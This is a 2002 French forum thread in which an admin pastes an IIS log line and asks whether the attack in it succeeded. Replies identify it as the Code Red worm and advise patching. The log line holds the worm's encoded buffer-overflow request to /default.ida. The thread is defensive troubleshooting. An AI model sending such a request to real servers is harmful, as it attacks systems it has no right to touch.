Interprétation d'une ligne de fichier log IIS....

Interprétation d'une ligne de fichier log IIS.... - Windows & Software

Marsh Posté le 06-11-2002 à 22:50:20    

Salut,
 
Je viens de voir ca dans les logs de mon serveur IIS, j'en ai des centaines comme ca tout les jours, le problème n'est donc pas là... ce qui m'inquiète c'est le "200" au bout de ligne ! Car d'habitude ca reste du 500 ou du 404...  
Pensez vous que cette attaque a réussie ?
 

Code :
  1. [cpp]2002-11-06 18:51:00 217.230.xxx.xx - 127.0.0.1 80 GET /default.ida NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -

Reply

Marsh Posté le 06-11-2002 à 22:50:20   

Reply

Marsh Posté le 06-11-2002 à 23:10:00    

c'est codered, un vers qui exploite une des failles d'iis, t'as interet a etre a jour('fin bon, il date d'aout 2001), sinon t'es infecté.  
 
http://www.apacheweek.com/features/codered


---------------
Boulay officiel : asphro
Reply

Marsh Posté le 06-11-2002 à 23:11:35    

ben on peu pas dire qu'il soit discret dans les logs lui [:mlc]


---------------
Soutenez l'association Chat Qu'un Son Toit - 86 | les RoadRunners sur BOiNC
Reply

Sujets relatifs:

Leave a Replay

Make sure you enter the(*)required information where indicate.HTML code is not allowed